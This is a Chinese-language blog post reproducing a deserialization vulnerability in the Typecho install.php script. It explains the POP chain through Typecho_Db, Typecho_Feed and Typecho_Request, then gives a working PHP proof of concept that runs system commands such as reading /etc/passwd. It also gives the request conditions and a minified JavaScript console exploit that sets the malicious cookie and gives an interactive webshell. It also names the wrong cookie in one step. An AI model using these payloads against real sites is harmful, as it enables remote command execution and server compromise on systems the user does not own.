Typecho install.php 反序列化漏洞复现
昨天0ctf,唯一的一道 web 还是 Java,那个鬼椒的 hint 也是无语。直接自闭了。 对面的 bin 爷爷肝的不亦乐乎,web 狗只能在角落摸鱼。 之后我便去复现周五协会培训时司大哥讲的 Typecho 反序列化漏洞。之前听的时候,到后半部分有些理不清了,自己尝试的时候才差不多搞明白。 其实反序列化难就难在 pop 链的构造,真的是一环套一环啊。需要明白哪些变量使我们可控的,有哪些魔术方法可以被触发等等。 那么,接下来就来梳理一下 Typecho 的这个反序列化漏洞吧。
入口install.php
在install.php
的 231 行:
<?php
$config = unserialize(base64_decode(Typecho_Cookie::get('__typecho_config')));
Typecho_Cookie::delete('__typecho_config');
$db = new Typecho_Db($config['adapter'], $config['prefix']);
$db->addServer($config, Typecho_Db::READ | Typecho_Db::WRITE);
Typecho_Db::set($db);
?>
这里$config
变量的生成,有一个unserialize
函数,并且传入的参数也是我们可控的——名为__typecho_config
的 Cookie。
之后$config
会被当做Typecho_Db
类的参数,实例化Typecho_Db
这个类。
Typecho_Db 中的字符串拼接
我们接着去看一下Typecho_Db
这个类,在Db.php
的 114 行:
public function __construct($adapterName, $prefix = 'typecho_')
{
/** 获取适配器名称 */
$this->_adapterName = $adapterName;
/** 数据库适配器 */
$adapterName = 'Typecho_Db_Adapter_' . $adapterName;
......
构造函数里将传入的$config['adapter']
,也就是$adapterName
进行了字符串拼接,那么如果$adapterName
是一个类的话,尝试把它当做字符串对其进行拼接,会触发类中的魔术方法__toString()
。
那么我们只要在 Typecho 中找一个可以含有__toString()
魔术方法的类。
Feed.php 中的__toString
魔术方法
在Feed.php
的 223 行,有__toString()
魔术方法,在第 358 行:
<name>' . $item['author']->screenName . '</name>
<uri>' . $item['author']->url . '</uri>
这里是访问$item['author']
中的screenName
对象。这里的$item
是使用foreach
进行遍历$this->_items
数组所产生的。
而$this->_items
又是当前Typecho_Feed
类中的一个属性,因此可控。
Request.php 中的__get
魔术方法
在上一步中,程序访问$item['author']
的screenName
对象。而**当尝试调用一个类中不存在的方法时,将会触发类中的__get
魔术方法进行处理。**PHP 开发中,当外部想要获取类中的私有属性时,经常会被用到。
因此,我们需要找到一个含有__get
魔术方法的类。在Request.php
的第 270 行。
public function __get($key)
{
return $this->get($key);
}
这里调用了它自己的get
方法,在 296 行,跟去看一下:
public function get($key, $default = NULL)
{
switch (true) {
case isset($this->_params[$key]):
$value = $this->_params[$key];
break;
case isset(self::$_httpParams[$key]):
$value = self::$_httpParams[$key];
break;
default:
$value = $default;
break;
}
$value = !is_array($value) && strlen($value) > 0 ? $value : $default;
return $this->_applyFilter($value);
}
我们传入的$key
,值也就是screenName
。这里会去找$this->_params
中的元素,当做$value
;$this->_params
也是当前Typecho_Request
类中的属性,我们可控。
最后$value
会被丢到_applyFilter
方法中进行处理。看一下这个方法,在 159 行:
private function _applyFilter($value)
{
if ($this->_filter) {
foreach ($this->_filter as $filter) {
$value = is_array($value) ? array_map($filter, $value) :
call_user_func($filter, $value);
}
$this->_filter = array();
}
return $value;
}
这里,就存在一个危险函数call_user_func()
,传入了两个参数,第一个$filter
是数组$_filter
中元素。而$_filter
是当前Typecho_Request
类中的属性,我们可控。第二个参数$value
则是我们刚才传入的$value
,同样可控。
因此call_user_func()
的两个参数我们均可控,那就可以使用call_user_func('system', 'xxxx')
来 getshell 了。
构造 POC
那么让我们来简单梳理一下整个流程:
- 在
install.php
中传入 Cookie 触发反序列化,传入Typecho_Db
类中。 - 参数在
Typecho_Db
中进行了字符串拼接,会触发__toString()
魔术方法 Typecho_Feed
类中含有__toString()
魔术方法,并且有对象的访问,可构造使其访问不存在的对象,触发__get()
魔术方法Typecho_Request
类中含有__get()
魔术方法,并且会调用自身的_applyFilter()
方法。_applyFilter()
方法中含有危险函数call_user_func()
,其参数我们均可控。
<?php
/**
* Created by PhpStorm.
* User: johnwu
* Date: 2019-03-23
* Time: 16:18
*/
class Typecho_Request{
public $_filter = array();
public $_params = array();
public function __construct(){
$this->_params = array(
'screenName' => "cat /etc/passwd"
);
$this->_filter = array(
'233' => 'system'
);
}
}
class Typecho_Feed{
public $_type = 'ATOM 1.0'; //满足 self::ATOM1 == $this->_type 才能进入 if 执行
public $_items = array();
public $_lang = '';
public $_baseUrl = '';
public function __construct(){
$this->_items = array(array(
'title' => '', //元素必须存在,否则会报错
'link' => '',
'date' => 0,
'category' => array(new Typecho_Request()),
'author' => new Typecho_Request(),
));
}
}
$config = array(
'adapter' => new Typecho_Feed(),
'prefix' => ''
);
echo(base64_encode(serialize($config)));
POC 触发条件
触发漏洞的条件有两个:
- 传入 GET 参数
finish
- 请求头中
Referer
为当前 Typecho 站点 很幸运,这些东西都可控。 以上两点具体在install.php
中的第 15 行有isset($_GET['finish'])
,来判断是否传入了finish
。在第 65 行有对Referer
的判断。
之后将上面 POC 生成的 base64 加入 __typecho_lang
这个 Cookie 发送请求即可。
更加牛逼的 POC
但是……我们怎么能就此满足呢?之前看到过很多很酷的 POC;本着锻炼一下自己的 JavaScript 水平,同时练练前端的心理,我花时间写了个很帅的 POC!
function addInput(a){var b=document.createElement("div");b.setAttribute("style","top: 5px;height: 20px;width: 100%;color: #FFFFFF;margin-left: 20px;font-size: 15px;"),b.innerHTML=a,content.appendChild(b)}function addOutput(a){var b=document.createElement("div");b.setAttribute("style","top: 5px;width: 95%;color: #00FF00;margin-left: 20px;font-size: 15px;"),b.innerHTML=a,content.appendChild(b)}function exec(a){var c,d,b='a:2:{s:7:"adapter";O:12:"Typecho_Feed":4:{s:5:"_type";s:8:"ATOM 1.0";s:6:"_items";a:1:{i:0;a:5:{s:5:"title";s:0:"";s:4:"link";s:0:"";s:4:"date";i:0;s:8:"category";a:1:{i:0;O:15:"Typecho_Request":2:{s:7:"_filter";a:1:{i:233;s:6:"system";}s:7:"_params";a:1:{s:10:"screenName";s:'+a.length+':"'+a+'";}}}s:6:"author";O:15:"Typecho_Request":2:{s:7:"_filter";a:1:{i:233;s:6:"system";}s:7:"_params";a:1:{s:10:"screenName";s:'+a.length+':"'+a+'";}}}}s:5:"_lang";s:0:"";s:8:"_baseUrl";s:0:"";}s:6:"prefix";s:0:"";}';b=btoa(b),document.cookie="__typecho_config="+b+";",c="",d=new XMLHttpRequest,d.open("GET",`${window.location.origin}/install.php?finish=1`,!0),d.onreadystatechange=function(){if(4==d.readyState&&200==d.status||304==d.status){c=d.responseText;var a=c.indexOf('typecho-install">');c=c.slice(a+17),a=c.indexOf("<br />"),c=c.substring(0,a),c=c.replace(/^\s*|\s*$/g,""),addOutput(c)}},d.send()}var content,control,textarea,main=document.createElement("div");main.setAttribute("style","background-color: rgba(0, 0, 0, 0.7);width: 1000px;height: 600px;position: absolute;left: 50%;top: 50%;margin-left: -500px;margin-top: -300px;"),window.document.body.appendChild(main),content=document.createElement("div"),content.setAttribute("style","width:100%;"),main.appendChild(content),control=document.createElement("div"),main.appendChild(control),textarea=document.createElement("input"),textarea.type="text",textarea.setAttribute("style","bottom: 0px; position: absolute;"),control.appendChild(textarea),document.onkeydown=function(a){var b=a||window.event;b&&13==b.keyCode&&(addInput("$ "+textarea.value),exec(textarea.value),textarea.value="")},addOutput("Typecho unserialize getshell POC"),addOutput("By: E99p1ant"),addOutput("=================================");
直接 F12 打开 devtools,复制进入 Console,回车!!
直接弹出一个很酷的 Shell!这是拿 JavaScript 画的,然后拼接原本 PHP 生成的 POC,base64_encode
后通过 ajax 来向install.php
发送请求。
就很帅嘻嘻~
喜欢这篇文章?为什么不打赏一下呢?